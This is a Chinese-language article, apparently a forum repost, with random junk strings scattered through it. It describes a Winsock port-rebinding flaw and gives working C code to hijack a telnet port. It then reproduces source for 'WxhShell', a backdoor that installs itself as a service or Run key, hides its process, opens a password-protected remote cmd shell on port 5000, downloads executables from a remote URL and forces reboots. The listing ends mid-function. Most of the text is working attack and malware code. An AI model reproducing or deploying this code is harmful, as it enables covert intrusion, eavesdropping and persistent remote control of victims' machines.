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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O2lM;=" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (Dba!zSs ( pCU:'" saddr.sin_family = AF_INET; L?Ih; V72?E%d0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); #2*R0_b /p}pdXS bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Wrm3U/>e :hf%6N='kI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x97L>>| W:}t%agis 这意味着什么?意味着可以进行如下的攻击: ATV|M[B &!+1GI9z
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <)L[V 'RQEktm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &EC8{.7 4~vn%O6n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Go/\g ],zp~yVU& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 AJoP3Zv|? h54\
\Ci 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9'vf2) " 4jVd 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3]&le[. `0W+(9} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @cG+D *oh,Va #include dL1{i,M #include L5wFbc"u #include \~C/ #include Ga
<=Di): DWORD WINAPI ClientThread(LPVOID lpParam); ;hd%wmE int main() +.u
HY`A { #=F{G4d)!= WORD wVersionRequested; 8SupoS DWORD ret; T.WN9=N WSADATA wsaData; \MAv's4b@ BOOL val; {Q^ -
SOCKADDR_IN saddr; 83)m# SOCKADDR_IN scaddr; 6>b#nFVJ int err; sei%QE]!/ SOCKET s; [E9_ZdBT SOCKET sc; cNy*< Tv int caddsize; W$gjcsv HANDLE mt; (|tR>R.Wxg DWORD tid; sv!6zJs wVersionRequested = MAKEWORD( 2, 2 ); [| C err = WSAStartup( wVersionRequested, &wsaData ); zgxMDLH if ( err != 0 ) { E7<l^/<2S+ printf("error!WSAStartup failed!\n"); Ud#xgs' return -1; >5t]Zlb` } pT:6A[& saddr.sin_family = AF_INET; N=@8~{V. 3Z}KRsp3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 a,xy38T< @~i :8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s}4k^NGFJ saddr.sin_port = htons(23); LS<*5HWX if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,jy9\n*<t9 { Q_k'7Z\g$ printf("error!socket failed!\n"); Z v 7}C return -1; ]-OF3+l4 } zpcO7AY~ val = TRUE; @|d`n\%x //SO_REUSEADDR选项就是可以实现端口重绑定的 IL%P\Zs if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l%
{<+N { d @b ]/ printf("error!setsockopt failed!\n"); e,*@+E\4 return -1; aL8Z|* } K[q-[q#yc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PD^Cj?wm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ztC,[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1E$^ul-v V'l9fj*E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "Q[?W(SA { gjB(Pwx ret=GetLastError(); @M(+YCi:e@ printf("error!bind failed!\n"); ~yY5pnJ return -1; {w v{"*Q9Q } UrdSo"% listen(s,2); ERfSJ while(1) -Y>QKS { 'lgS;ItpKu caddsize = sizeof(scaddr); #*"I?B/fd8 //接受连接请求 8HWEObRY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K/!>[d if(sc!=INVALID_SOCKET) 2:1
kSR^Ky { A-u}&}l< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8?hj}}H if(mt==NULL) YG#{/;^nm) { Mw6
Mt
printf("Thread Creat Failed!\n"); M1K[6V! break; DV!0zzJ } <t,lq } GP=bp_L CloseHandle(mt); 58PL@H~@0 } yDi'@Z9R? closesocket(s); k.%FGn'fR WSACleanup(); r<$"T return 0; ;4*mUD6 } W"D>>]$|u DWORD WINAPI ClientThread(LPVOID lpParam) S\@U3|Q5 { xHlO~:Lc SOCKET ss = (SOCKET)lpParam; X D\;| SOCKET sc; q)RTy|NJ^ unsigned char buf[4096]; HQc^ybX5 SOCKADDR_IN saddr; `OWwqLoeA long num; )yS S 2 DWORD val; L#MMNc+ DWORD ret; I5W#8g!{ //如果是隐藏端口应用的话,可以在此处加一些判断 Shu=oweJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 bG]?AiWr saddr.sin_family = AF_INET; 3Io7!:+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =qww|B92 saddr.sin_port = htons(23); 9y;zk$O8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &[[Hfs2:-] { r@G34QC+ printf("error!socket failed!\n"); 4z^VwKH\ j return -1; fczH^+mI } !PEP`wEKdp val = 100; e @|uG % if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nO8e'&| { {fn1sGA ret = GetLastError(); N. 0~4H
%U return -1; `M ~-(,++ } 9Hs5uBe if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dMa6hI{k { F2',3 ret = GetLastError(); %5<Xa return -1; H|<Zm:.%$ } bqQR"; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h:r:qk { f|{&Y2h(R printf("error!socket connect failed!\n"); awOH50R closesocket(sc); b25C[C5C closesocket(ss); ynZfO2kf return -1; W<Asr@ } +wm%`N;v< while(1) `q7X(x { Z:>ek>Op //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j$r2=~1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 8/W2;>?wKc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mz3Dt> num = recv(ss,buf,4096,0); ;<BMgO}N if(num>0) 'I@l$H send(sc,buf,num,0); ?Nl@K/ else if(num==0) 4l_~-Peh break; D3C3_
@* num = recv(sc,buf,4096,0); \!4_m8? if(num>0) gLWbd~ send(ss,buf,num,0); ")3$. '5Dg else if(num==0) l
!JTM break; )8V=!73 } ~lr,}K, closesocket(ss); n fMU4(: closesocket(sc); '-rRD\"q return 0 ; ]=(PtzVa } +?GsIp@>jh rpv<'$6 N"zm ========================================================== \mNN ) K@ _k Utj(re 下边附上一个代码,,WXhSHELL t:tIzFNv nRheByYm ========================================================== vFi+ExBU $u::(s}
x< #include "stdafx.h" mN1n/LNi c{})Z= #include <stdio.h> F;Bq[V)R #include <string.h> SH6T\}X: #include <windows.h> ??,/85lM #include <winsock2.h> VB}^&{t)! #include <winsvc.h> Ev0=m;@_ #include <urlmon.h> u56WB9Z "_n})s
f #pragma comment (lib, "Ws2_32.lib") <!derr-K #pragma comment (lib, "urlmon.lib") I$oqFF|D rch Kr w #define MAX_USER 100 // 最大客户端连接数 MD[;Ha #define BUF_SOCK 200 // sock buffer )^j62uv #define KEY_BUFF 255 // 输入 buffer >ui;B$= 4ms"mIt #define REBOOT 0 // 重启 3NN)ql #define SHUTDOWN 1 // 关机 Z8\/Fb &Yd6w}8 #define DEF_PORT 5000 // 监听端口 SX[ r)[Xzn #define REG_LEN 16 // 注册表键长度 Uh3N#O #define SVC_LEN 80 // NT服务名长度 6-f-/$B ,7SqRY,+ // 从dll定义API :rEZR ` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #E4|@}30` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PgYIQpV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &|fWtl;43 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'oF ('uR *)s^+F 0 // wxhshell配置信息 ]+T$D struct WSCFG { QQ./! int ws_port; // 监听端口 F?b"Rv char ws_passstr[REG_LEN]; // 口令 =s,}@iqNO4 int ws_autoins; // 安装标记, 1=yes 0=no ? w@)3Z=u char ws_regname[REG_LEN]; // 注册表键名 9~4@AGL char ws_svcname[REG_LEN]; // 服务名 .T#}3C/ char ws_svcdisp[SVC_LEN]; // 服务显示名 E*d UJ.> char ws_svcdesc[SVC_LEN]; // 服务描述信息 #S"s8wdD
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \qtdbi|Y int ws_downexe; // 下载执行标记, 1=yes 0=no %g~zEa-g char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" lec3rv0) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | *N;R+b Te7xj8<
}; C(2kx4 n _a zJ> // default Wxhshell configuration }N"YlGY\Yn struct WSCFG wscfg={DEF_PORT, L`"V_
"Q#0 "xuhuanlingzhe", `pfRY! 1, kQO-V4z! "Wxhshell", hY|-l%2f "Wxhshell", #hXxrN "WxhShell Service", R_Z9aQ "Wrsky Windows CmdShell Service", TVAa/_y2` "Please Input Your Password: ", \W7pSV-U 1, t@q==VHF " http://www.wrsky.com/wxhshell.exe", {pC$jd>T "Wxhshell.exe" O6Y1*XTmH6 }; TEi1,yc ,iXQ"):!OB // 消息定义模块 *s|'V+1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j eyGIY char *msg_ws_prompt="\n\r? for help\n\r#>"; i-R}O6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; L)"CE]. char *msg_ws_ext="\n\rExit."; j8;Uny9 char *msg_ws_end="\n\rQuit."; _,3%)sn-) char *msg_ws_boot="\n\rReboot..."; z[0tM&pv char *msg_ws_poff="\n\rShutdown..."; 2W}jbOy char *msg_ws_down="\n\rSave to "; u=7#_ZC9L piXL6V @c char *msg_ws_err="\n\rErr!"; C0CJ; char *msg_ws_ok="\n\rOK!"; &!B4v<#, U 3 5/ s\ char ExeFile[MAX_PATH]; 4mnVXKt%. int nUser = 0; Zm6|aHx8v HANDLE handles[MAX_USER]; +g_m|LF int OsIsNt;
7MQxW<0 .pIO<ZAFT SERVICE_STATUS serviceStatus; %$67*pY'JH SERVICE_STATUS_HANDLE hServiceStatusHandle; +NVXFjPC `bF4/iBW // 函数声明 0U?(EJ int Install(void); Y)D F.ca( int Uninstall(void); \4>& zb4 int DownloadFile(char *sURL, SOCKET wsh); #dQFs]:F int Boot(int flag); 1,+swFSN void HideProc(void); f9vitFkb+ int GetOsVer(void); Ugme>60`'k int Wxhshell(SOCKET wsl); T9uOOI void TalkWithClient(void *cs); D/+l$aBz int CmdShell(SOCKET sock); <TgVU.* int StartFromService(void); g1@rY0O int StartWxhshell(LPSTR lpCmdLine); A[m<xtm5K co-1r/
-O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2x~Pq_?y VOID WINAPI NTServiceHandler( DWORD fdwControl ); M,<UnAVP- 8WC_CAP // 数据结构和表定义 0bteI*L SERVICE_TABLE_ENTRY DispatchTable[] = ?%$~Bb _ { yYdh+ x
{wscfg.ws_svcname, NTServiceMain}, d
'\^S} {NULL, NULL} ~vcua@ }; ^0?ww&X <MoyL1= // 自我安装 ijKQ`}JA int Install(void) S_38U { ]d.e(yCuE char svExeFile[MAX_PATH]; X XxH<E$p HKEY key; >96+s)T%; strcpy(svExeFile,ExeFile); ua,!kyS i!iG7X)qT // 如果是win9x系统,修改注册表设为自启动 "bz]5c~ if(!OsIsNt) { $GYy[8{:V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1p=bpJC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3AAciMq} RegCloseKey(key); 2 a*+mw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *E+VcU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \{v-Xe&d^ RegCloseKey(key); lv+:
` return 0; Adgfo)X5 } ^DVryeLD } k106fT]eX } #Y'ewu;qJ else { 5F#FC89Kk yT[=!M // 如果是NT以上系统,安装为系统服务 -Ua&/Yd/} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z/d {v:) if (schSCManager!=0) `uC^"R(m { JF=T_SH^U SC_HANDLE schService = CreateService y{2\T ( w:x[kA schSCManager, w+a5/i@ wscfg.ws_svcname, zL9:e7o wscfg.ws_svcdisp, .yD5>iBh
SERVICE_ALL_ACCESS, wCu!dxT|, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rPt SERVICE_AUTO_START, PsOq- SERVICE_ERROR_NORMAL, }zqo<o svExeFile, 4BeHj~~ NULL, @FF80U4' NULL, p{+F{e NULL, 8C@6
b4VK NULL, f,ZJFb98 NULL .o]9
HbIk5 ); g |H if (schService!=0) dx+xs& { 5
ed|]LP CloseServiceHandle(schService); (LJ7xoJ^ CloseServiceHandle(schSCManager); ZrB(!L~7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >< VUly strcat(svExeFile,wscfg.ws_svcname); (p]S if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rV} 5&N*c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2*a9mi RegCloseKey(key); 3*\hGt,ZP return 0; 8dCRSU } (G(M"S SC }
>XX93 CloseServiceHandle(schSCManager); `I(ap{ } {ft |* } | GN/{KH] {rn^ return 1; N-q6_ } 5sNN:m :jC$$oC]. // 自我卸载
A[F_x*S int Uninstall(void) Pq@-`sw { sL;;'S& HKEY key; r$Ni>[as HTMg{_r(% if(!OsIsNt) { 7P]i|Q{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bZ^'_OOn RegDeleteValue(key,wscfg.ws_regname); Rt5pl,Nf RegCloseKey(key); vU(fd!V ? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v*c"SI=@M= RegDeleteValue(key,wscfg.ws_regname); lJ,\^\q RegCloseKey(key); hT `&Xb return 0; z?F`)} } ?@kz`BY } IZ87Px>zL } wQ[!~>A else { ]2YC7 fRq+pUxU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ql9>i;AGV if (schSCManager!=0) 1_l)$" { +KWO`WR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6/ T/A+u if (schService!=0) H!Dj.]T { 'Gamb+[ if(DeleteService(schService)!=0) { D7muf CloseServiceHandle(schService); H328I}7 CloseServiceHandle(schSCManager); IiJ$Ng return 0; t=|}?lN< } 3to!C"~\K- CloseServiceHandle(schService); J^S!GG'gb } ,X;$-. CloseServiceHandle(schSCManager); h:sf?X[ } Db;>MWt+e } /I{K_G@ 6q!Q([D_ return 1; o6:bmKWE } R&g&BF f6nuh&!- // 从指定url下载文件 UZmo?&y int DownloadFile(char *sURL, SOCKET wsh) f.bw A x { }RKsS3} HRESULT hr;
n_k`L(8* char seps[]= "/"; A (p^Q char *token; OW@"j;6
3` char *file; :$gs7<z{rm char myURL[MAX_PATH]; atw*t1)g char myFILE[MAX_PATH]; jeJspch+# wy{sS} strcpy(myURL,sURL); :ln?PT
token=strtok(myURL,seps); w4_Xby) while(token!=NULL) Qr7|;l3 { w'XSkI_ay file=token; {d]B+' token=strtok(NULL,seps); <:T/hm$ } [>\e@ = adRIg:2 GetCurrentDirectory(MAX_PATH,myFILE); c5:0`~5Fn strcat(myFILE, "\\"); 5rc3jIXc{| strcat(myFILE, file); 9I$}=&" send(wsh,myFILE,strlen(myFILE),0); :eT\XtxM~{ send(wsh,"...",3,0); fY?:SPR+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EyA(W;r. if(hr==S_OK) qR_Np5nHF return 0; Fy!s$!\C0 else %M/L/_d return 1; V~Z)^.6 XD|Xd|/ { } uEG4^
5e1oxSU // 系统电源模块 Gpcordt/ int Boot(int flag) PRx- 0S { &;p}HL, HANDLE hToken; #W
l^!)#j? TOKEN_PRIVILEGES tkp; %_CL/H
.Cs'@[Ciy if(OsIsNt) { -o~n06p OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J><hrZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x]?V*Jz tkp.PrivilegeCount = 1; <eP,/H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uovna:" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3Zs0W{OxU if(flag==REBOOT) { X+<9-]= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E>gLUMG$ return 0; A7&/3C6{H } p!)tA else { "Mv^S'?> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W(?J,8> return 0; 2"j&_$#l5X } .sOZ "=tW } m=v.<+> else { c&aqN\'4" if(flag==REBOOT) { g
4|ai*^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G`&P|xYg return 0; mA_EvzXk\ } ;-l^X%r else { |nr;OM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }H
saJ=1U return 0; RBg2iG$8| } $G9E=wn } d{) =E8wE X56q,jCJ{ return 1; &gJ@"`r4 } |u$*'EsP w)1SZ} // win9x进程隐藏模块 zlTLp-^Y void HideProc(void) SB5qm?pT8< { b"`fS`@/MW H@ty'z? HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AW9%E/{ if ( hKernel != NULL ) DT6BFx { xaV3N[Zd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $P#+Y,r~\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xB?!nd FreeLibrary(hKernel); @{Fa=".Ch } l&"bm C:xr v&%W*M0q@ return; xdY'i0fh } I$)9T^Ra d{(Rs.GuP // 获取操作系统版本 YnDaBpx int GetOsVer(void) MrOtsX { ^L
Xr4 OSVERSIONINFO winfo; D62'bFB^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N"Y%*BkH GetVersionEx(&winfo); mUR[;;l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?duw0SZ return 1; glKPjL * else }g%&}`%' return 0; b}u#MU } [xDIK8d:I h"}F3E // 客户端句柄模块 RC8-6s& ln int Wxhshell(SOCKET wsl) s k~7"v{Y. {
:J )^gc SOCKET wsh; FT}^Fi7 struct sockaddr_in client; %$Q!'+YW DWORD myID; /BF7N3 VeQ [A?pER while(nUser<MAX_USER) 1hV&/Qr { /w2IL7} int nSize=sizeof(client); ~{kA;uw wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $[J\sokpY if(wsh==INVALID_SOCKET) return 1; je>gT`8 @wP.Rd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _n4`mL8>kH if(handles[nUser]==0) c\tw#;\9 closesocket(wsh); Ls.g\Gl3 else BCd0X. m( nUser++; V2tA!II-s } p!?7; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r.:f.AY{ q?L*Luu+ return 0; wJvk } `fVzY"Qv k cRf;7G // 关闭 socket ~Sd,Tu%: void CloseIt(SOCKET wsh) Esg: { 2elj@EB,M closesocket(wsh); $Df1t nUser--; +s [_
4 ExitThread(0); soKR*gJ, } a{?>F&vnU o+R(ux" // 客户端请求句柄 I4c%>R void TalkWithClient(void *cs) )_kEy>YscZ { 4L,&a+) f\~w!- SOCKET wsh=(SOCKET)cs; xu;^F char pwd[SVC_LEN]; }ASBP:c"t char cmd[KEY_BUFF]; kll,^A char chr[1]; _qQo}|/q int i,j; :n
x;~f SBw'z(U while (nUser < MAX_USER) { _,- \; [~Z#yEiW^ if(wscfg.ws_passstr) { )MX%DQw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %U1HvmyK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0nlh0u8# //ZeroMemory(pwd,KEY_BUFF); C|QJQ@bj0
i=0; :+ "JPF4X while(i<SVC_LEN) { A+3=OBpkW0 rj5)b:c} // 设置超时 h 'is#X 6: fd_set FdRead; ^AUQsRA7PZ struct timeval TimeOut; #`"B
YFV[E FD_ZERO(&FdRead); ab 6D & FD_SET(wsh,&FdRead); Mq6_Q07 TimeOut.tv_sec=8; `]Vn[^?D TimeOut.tv_usec=0; EkN>5). int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gJzS,g1] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i\MW'b m :]F&s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); er !+QD,EM pwd =chr[0]; 7G_lGV_ if(chr[0]==0xd || chr[0]==0xa) { Aca?C pwd=0; |C t Q break; ):Ekf2 } s: MJ{r(s i++; $5>x)jr:w+ } ,z0E2 :!,.c$M // 如果是非法用户,关闭 socket 81wmKqDEs if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eA/}$.R } a6op B#4 J![BX send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e}L(tXZ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1+Y;
"tT .fY$$aD$4 while(1) { s|"4!{It $I/RN ZeroMemory(cmd,KEY_BUFF); ra\|c>[% I,lzyxRP // 自动支持客户端 telnet标准 An
!i j=0; NW Pd~l+ while(j<KEY_BUFF) { /bqJ6$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @(rLn cmd[j]=chr[0]; rX&?Xi1JeV if(chr[0]==0xa || chr[0]==0xd) { KhbbGdmfS$ cmd[j]=0; ;{cl*EN break; 'zTa]y]a } 6IM:Xj j++; P99s } m3_)UIJZ #DHeEE // 下载文件
N/AP8 if(strstr(cmd,"http://")) { );x[1*e send(wsh,msg_ws_down,strlen(msg_ws_down),0); :SpPT if(DownloadFile(cmd,wsh)) !myF_cv}' send(wsh,msg_ws_err,strlen(msg_ws_err),0); f P1fm else mDU-;3OqF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qk(u5Z } * (<3 oIRS else { dtq]_HvTJ lnnt b3q switch(cmd[0]) { ~9+\ k+cHx799 // 帮助 cGjkx3l* case '?': { 7kidPAhY send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W-ECmw( break; rYr.mX } cNqw(\rr // 安装 {eo?vA8SE case 'i': { /?QBMI if(Install()) oI%.oP}G send(wsh,msg_ws_err,strlen(msg_ws_err),0); \R<OT%8 else 8f|+045E@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MT@Uu break; SkA"MhX } '~'3x4Bo // 卸载 @BXV>U2B{ case 'r': { %|3UWN if(Uninstall()) Ehf{Kl send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?cUQghHg else =p';y& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5($
'@u break; N
DV_/BI } S>p>$m,
Q // 显示 wxhshell 所在路径 DnPV
Tp(> case 'p': { cj/FqU" char svExeFile[MAX_PATH]; 9Uh nr]J. strcpy(svExeFile,"\n\r"); Y~M H strcat(svExeFile,ExeFile); ]7{-HuQ8>} send(wsh,svExeFile,strlen(svExeFile),0); n7Ia8?8-l break; RpY#_\^hI } _u`W$EG
L // 重启 wD&b[i case 'b': { J&6]3x send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yf6&'Y{ if(Boot(REBOOT)) \(bML#I send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVu3 !{} else { /c 1FFkq|K closesocket(wsh); [HENk34 ExitThread(0); uJ$!lyJ6L } !xK`:[B break; e: :H1V } BK]q^.7+: // 关机 nEm+cHHo? case 'd': { vd<"
G} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ws`P(WHm if(Boot(SHUTDOWN)) ,*Yu~4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <kmn3w,vi else { w~g)Dz2G closesocket(wsh); `4 A%BKYB ExitThread(0); KmkPq] } ),)]gw71QW break; [e'Ts#($A } f/qG:yTV` // 获取shell Sf\mg4, case 's': { <&rvv4*H CmdShell(wsh); YvK8;<k@-? closesocket(wsh); ?79ABm
a ExitThread(0); Tce2]"^; break; K(HP PM\ } ,tL<?6_ // 退出 L[*Xrp;/& case 'x': { _`zj^*% send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6F3#Rxh CloseIt(wsh); !}^{W)h[ break; ?J~(qa a; } 7m=tu?@ // 离开 /wL}+ case 'q': { nV%1/e"5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); BS;_l"? closesocket(wsh); b#^UP WSACleanup(); eJ#q! < exit(1);
sD*8:Hl break; LQs2!]?HT } 6nRD:CH)X } @DrMaTr }
/E@| $R7n1 // 提示信息 ?8n`4yO0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nrMm](Y45 } DEL#MD! } *#,wV
Jx@3zl return; .4~n|d>z } \0m[Ch}~ey 70L{u+wIy // shell模块句柄 </|IgN$w` int CmdShell(SOCKET sock) *O|Z[> { Llk4 =p STARTUPINFO si; R;f!s/^) ZeroMemory(&si,sizeof(si)); cSBYC_LU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |[?"$g9v si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ".eD&oX{ PROCESS_INFORMATION ProcessInfo; Z*QsDS char cmdline[]="cmd"; nJ4i[j8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qsc%qt-l return 0; /4]M*ls } 40oRO0p -Vk+zEht // 自身启动模式 nqt;Ge
M int StartFromService(void) &V[m{. { q7C>A`w typedef struct XU .FLNe {
WLEjRx DWORD ExitStatus; uHUicZf. DWORD PebBaseAddress; V7!x-E/ DWORD AffinityMask; C9U~lcIS DWORD BasePriority; *S_eYKSl ULONG UniqueProcessId; Dg4?,{c9W ULONG InheritedFromUniqueProcessId; rm NqS+t } PROCESS_BASIC_INFORMATION; pUWj,&t Zycu3%JI PROCNTQSIP NtQueryInformationProcess; <DCrYt!1}c :grJ}i-D static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ex~[Hk4ow static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u~6`9'Ms
'@9h@,tc HANDLE hProcess; }.O2xZ;}]' PROCESS_BASIC_INFORMATION pbi; b:Dr_| )W~w72j- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); # &o3[.)9 if(NULL == hInst ) return 0;
